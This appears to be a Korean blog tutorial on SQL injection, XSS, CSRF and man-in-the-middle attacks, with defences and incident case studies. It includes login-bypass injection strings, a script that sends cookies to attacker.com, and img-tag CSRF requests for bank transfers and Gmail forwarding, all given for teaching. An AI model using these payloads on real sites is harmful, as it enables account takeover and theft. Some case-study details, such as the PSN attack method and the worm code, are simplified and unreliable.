본문 바로가기

카테고리 없음

[보안] 웹 보안 위협 및 공격 기법

🚨 1. SQL Injection (SQL 삽입 공격)

 

📌 정의

  • 웹 애플리케이션이 사용자 입력을 제대로 검증하지 않고 SQL 쿼리에 포함할 경우, 공격자가 악의적인 SQL을 삽입하여 데이터베이스를 조작하는 공격 방식이다.
  • 로그인 우회, 데이터 탈취, 데이터 변경·삭제가 가능함.

 

💥 공격 예시 (로그인 우회 공격)

1. 로그인 폼이 있고, 사용자가 아이디와 비밀번호를 입력해야 한다.

 

2. 일반적으로 실행되는 SQL 쿼리는 다음과 같다.

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

 

3. 공격자는 username 필드에 다음과 같이 입력한다.

' OR '1'='1

 

4. SQL 쿼리가 다음과 같이 변조됨.

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password123';

 

5. '1'='1'은 항상 참이므로, 공격자는 비밀번호 없이 로그인 가능!

 

🛡️ 방어 방법

  • ✅ Prepared Statement (프리페어드 스테이트먼트) 사용
  • ✅ ORM 사용 (JPA, Hibernate) - 내부적으로 Prepared Statement를 사용
  • ✅ 입력값 검증 및 필터링 (', --, ; 등의 특수 문자 차단)

🤔 Prepared Statement란?

SQL Injection을 방지하고 성능을 최적화하기 위해 사용되는 SQL 실행 방식이다.

일반적인 SQL 쿼리와 달리, 쿼리 구조와 값(파라미터)을 분리하여 실행하는 것이 특징이다. 밑에 예시를 보자.

 

❌ 일반적인 SQL 실행 (SQL Injection 가능)

String userInput = "admin' --";
String query = "SELECT * FROM users WHERE username = '" + userInput + "'";
// 실행되는 SQL: SELECT * FROM users WHERE username = 'admin' --'
  • 사용자가 "admin' --" 같은 입력을 하면, SQL이 조작되어 인증 우회가 가능해짐.
  • '-- 이후 코드는 주석 처리되므로, WHERE username = 'admin' 조건만 남게 됨.

✅ Prepared Statement 사용 (SQL Injection 방지)

String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userInput);
ResultSet rs = pstmt.executeQuery();
  • 물음표(?)는 바인딩 변수(Placeholder)로, 사용자 입력값이 데이터 값으로 처리됨.
  • SQL 구문이 미리 컴파일되므로, 입력값이 SQL로 해석되지 않음.
  • 결과적으로 SQL Injection 공격이 불가능함.

🚀 Prepared Statement의 동작 방식

① SQL 미리 컴파일

SELECT * FROM users WHERE username = ?
  • 데이터베이스에 SQL 구조(쿼리 틀)를 먼저 전달하고 컴파일함.
  • 이때 SQL은 문자열이 아니라 실행 계획을 저장함.

② 값(파라미터) 바인딩 후 실행

username = 'admin'
  • ? 자리에 실제 값을 바인딩하여 실행함.
  • 값이 SQL 구조와 분리되어 있기 때문에, 'admin' -- 같은 입력을 넣어도 SQL로 해석되지 않음.

SQL Injection 공격 사례

더보기

2011년 Sony PlayStation Network(PSN) 해킹 사건

 

🎯 사건 개요

  • 2011년 Sony PlayStation Network(PSN)이 해킹당하며, 7,700만 명 이상의 사용자 정보가 유출됨.
  • SQL Injection 공격을 통해 사용자 ID, 비밀번호, 이메일, 신용카드 정보까지 탈취됨.
  • PSN 서비스는 한 달 이상 중단되었고, 소니는 약 1억 7천만 달러의 피해를 입음.

💀 공격 방식

1️⃣ PSN의 웹사이트에서 SQL Injection 취약점이 존재함.

2️⃣ 해커가 admin' OR '1'='1 같은 공격을 통해 데이터베이스에 무단 접근.

3️⃣ 사용자 개인정보, 신용카드 정보가 유출됨.

4️⃣ 소니는 고객들에게 비밀번호 변경 및 신용카드 재발급을 권고.

 

🔐 사건 이후 보안 조치

  • ✔ Prepared Statement 및 ORM 사용 → SQL Injection 방지
  • ✔ 데이터 암호화 강화 → 사용자 비밀번호 및 카드 정보 보호
  • ✔ 보안 점검 및 침입 탐지 시스템 도입

🚨 2. XSS (Cross-Site Scripting, 크로스 사이트 스크립팅)

 

📌 정의

  • XSS는 웹사이트에서 사용자 입력을 제대로 검증하지 않아서 공격자가 악성 스크립트를 삽입하고, 이를 다른 사용자의 브라우저에서 실행하도록 유도하는 공격 기법이다.
  • 쿠키 탈취, 피싱, 세션 하이재킹 등이 가능함.

 

💥 공격 예시 (쿠키 탈취)

1. 댓글 입력창이 XSS 방어를 하지 않는 경우, 공격자가 다음과 같은 악성 스크립트를 입력할 수 있음.

<script>
    document.location='http://attacker.com/steal?cookie=' + document.cookie;
</script>

 

2. 이 댓글이 다른 사용자에게 표시되면, 사용자의 쿠키가 attacker.com으로 전송됨.

3. 공격자는 세션 쿠키를 탈취하여 피해자의 계정에 접근할 수 있음.

 

🛡️ 방어 방법

  • ✅ HTML Encoding (특수 문자 이스케이프 처리)
  • ✅ CSP (Content Security Policy) 적용 - 스크립트 실행 제한
  • ✅ 입력값 필터링 (<, >, script 등의 태그 차단)
  • ✅ HTTP Only 쿠키 설정

HTTP Only 쿠키 설정 방법

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

public void setSecureCookie(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123");
    cookie.setHttpOnly(true); // JavaScript에서 접근 불가능
    cookie.setSecure(true); // HTTPS에서만 전송 가능 - (MITM 공격 방지)
    cookie.setPath("/"); // 전체 경로에서 유효
    cookie.setMaxAge(60 * 60); // 1시간 동안 유지

    response.addCookie(cookie);
}
  • cookie.setHttpOnly(true); → JavaScript에서 document.cookie로 접근 불가능!

XSS 공격 사례

더보기

2005년 MySpace 웜 (Samy 웜) 사건

 

🎯 사건 개요

  • 2005년, 해커 Samy Kamkar가 MySpace에 XSS 취약점을 이용하여 웜을 퍼뜨림.
  • 24시간 만에 100만 명 이상의 계정이 감염됨.
  • 사용자가 MySpace 프로필을 방문하면 자동으로 친구 추가 및 감염됨.

💀 공격 방식

1️⃣ Samy는 MySpace 프로필 소개란에 악성 JavaScript 코드 삽입

<script>
    var name = "Samy is my hero";
    document.getElementById('profile').innerHTML = name;
</script>

 

2️⃣ 사용자가 감염된 프로필을 방문하면, 자동으로 코드를 실행.
3️⃣ 해당 사용자도 같은 코드가 삽입되면서 웜이 확산됨.
4️⃣ 하루 만에 100만 명의 MySpace 계정이 감염됨.

 

🔐 사건 이후 보안 조치

  • ✔ HTML 및 JavaScript 필터링 적용
  • ✔ Content Security Policy (CSP) 적용 → XSS 코드 실행 차단
  • ✔ 입력값 검증 및 인코딩 처리 강화

🚨 3. CSRF (Cross-Site Request Forgery, 크로스 사이트 요청 변조)

 

📌 정의

  • 사용자가 로그인된 상태에서 공격자가 강제 요청을 보내 사용자 대신 특정 작업을 수행하게 하는 공격기법.
  • 예를 들어, 사용자가 로그인된 상태에서 해커가 피해자의 계좌에서 돈을 이체할 수 있음.

 

💥 공격 예시 (자동 이체 공격)

1 .사용자가 은행 사이트에 로그인한 상태에서, 해커가 다음과 같은 CSRF 공격 페이지를 제작

<img src="https://bank.com/transfer?amount=100000&to=attacker_account" />

 

2. 사용자가 이메일 또는 피싱 사이트에서 해당 페이지를 방문하면, 브라우저가 자동으로 이체 요청을 실행.

3. 사용자의 계좌에서 공격자의 계좌로 돈이 송금됨.

 

🛡️ 방어 방법

  • ✅ CSRF 토큰 사용 (서버에서 생성하여 요청마다 검증)
  • ✅ SameSite Cookie 설정
  • ✅ Referer Header 검증 (요청 출처 확인)

SameSite 설정 예제

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

public void setSecureCookie(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123");
    cookie.setHttpOnly(true); // JavaScript에서 접근 불가능 (XSS 방지)
    cookie.setSecure(true); // HTTPS에서만 전송 가능 (MITM 방지)
    cookie.setPath("/"); // 전체 경로에서 유효
    cookie.setMaxAge(60 * 60); // 1시간 동안 유지

    // SameSite 설정 추가
    response.setHeader("Set-Cookie", "sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Lax");
}

 

SameSite 옵션별 쿠키 전송 여부

요청 유형 None Lax Strict
같은 사이트 내 이동 ✅ 허용 ✅ 허용 ✅ 허용
외부 사이트에서 GET 요청 ✅ 허용 ✅ 허용 ❌ 차단
외부 사이트에서 POST 요청 ✅ 허용 ❌ 차단 ❌ 차단

 

CSRF 공격 사례

더보기

2008년 Gmail CSRF 취약점

 

🎯 사건 개요

  • 2008년, 해커가 Gmail의 CSRF 취약점을 악용하여 계정 설정을 변경하는 공격을 감행.
  • 사용자가 공격자의 웹사이트를 방문하면 자동으로 Gmail 포워딩 설정이 변경됨.
  • 피해자는 자신도 모르게 이메일이 공격자의 메일로 전달됨.

💀 공격 방식

1️⃣ 공격자가 악성 HTML 코드가 포함된 웹사이트를 제작

<img src="https://mail.google.com/settings?forward=email@attacker.com" />

 

2️⃣ 사용자가 로그인된 상태에서 공격자의 웹사이트를 방문하면 → Gmail 설정이 자동으로 변경됨.
3️⃣ 사용자가 수신하는 모든 이메일이 공격자의 이메일로 전달됨.

 

🔐 사건 이후 보안 조치

  • ✔ CSRF Token 적용 → 요청마다 보안 토큰 검증
  • ✔ Referer 검증 → 요청 출처 확인
  • ✔ SameSite Cookie 설정 → 외부 사이트에서 요청 차단

🚨 4. MITM (Man-in-the-Middle, 중간자 공격)

 

📌 정의

  • MITM 공격은 공격자가 사용자와 서버 간의 통신을 가로채어 데이터를 탈취하거나 변조하는 공격 기법이다.
  • 공격자가 사용자와 서버 간의 통신을 가로채어 데이터 조작 또는 탈취하는 공격.
  • 공개 Wi-Fi, 암호화되지 않은 HTTP 사이트에서 자주 발생.

💥 공격 예시 (Wi-Fi 스니핑을 통한 로그인 정보 탈취)

  1. 사용자가 공용 Wi-Fi에서 로그인 시도를 함.
  2. 공격자는 Wi-Fi 트래픽을 감청하여 패킷을 가로챔.
  3. 로그인 요청이 HTTP로 전송되면, 사용자의 아이디/비밀번호가 평문으로 노출됨.

🛡️ 방어 방법

  • ✅ HTTPS(TLS) 적용 → 암호화된 통신만 허용
  • ✅ VPN 사용 → 네트워크 보안 강화
  • ✅ 공개 Wi-Fi 사용 시 주의 (중요한 로그인, 결제 금지)

MITM 공격 사례

더보기

2015년 Superfish 사건 (Lenovo 노트북)

 

🎯 사건 개요

  • 2015년, Lenovo가 판매한 노트북에 Superfish 광고 소프트웨어가 사전 설치됨.
  • Superfish는 HTTPS 트래픽을 가로채 광고를 삽입하는 MITM 방식의 공격을 유발함.
  • 해커가 HTTPS 통신을 감청하여 로그인 정보, 금융 정보 등을 탈취할 가능성이 커짐.

💀 공격 방식

1️⃣ Lenovo 노트북에는 Superfish 루트 인증서가 포함됨.
2️⃣ Superfish는 HTTPS 트래픽을 가로채고 임의의 인증서를 발급함.
3️⃣ 해커가 위조된 인증서를 사용해 중간자 공격을 수행할 수 있음.
4️⃣ 사용자의 로그인 정보 및 금융 정보가 해커에게 노출될 가능성이 커짐.

 

🔐 사건 이후 보안 조치

  • ✔ Superfish 소프트웨어 제거 및 Lenovo 공식 사과
  • ✔ 신뢰할 수 없는 루트 인증서 삭제
  • ✔ 브라우저 및 운영체제의 보안 업데이트 강화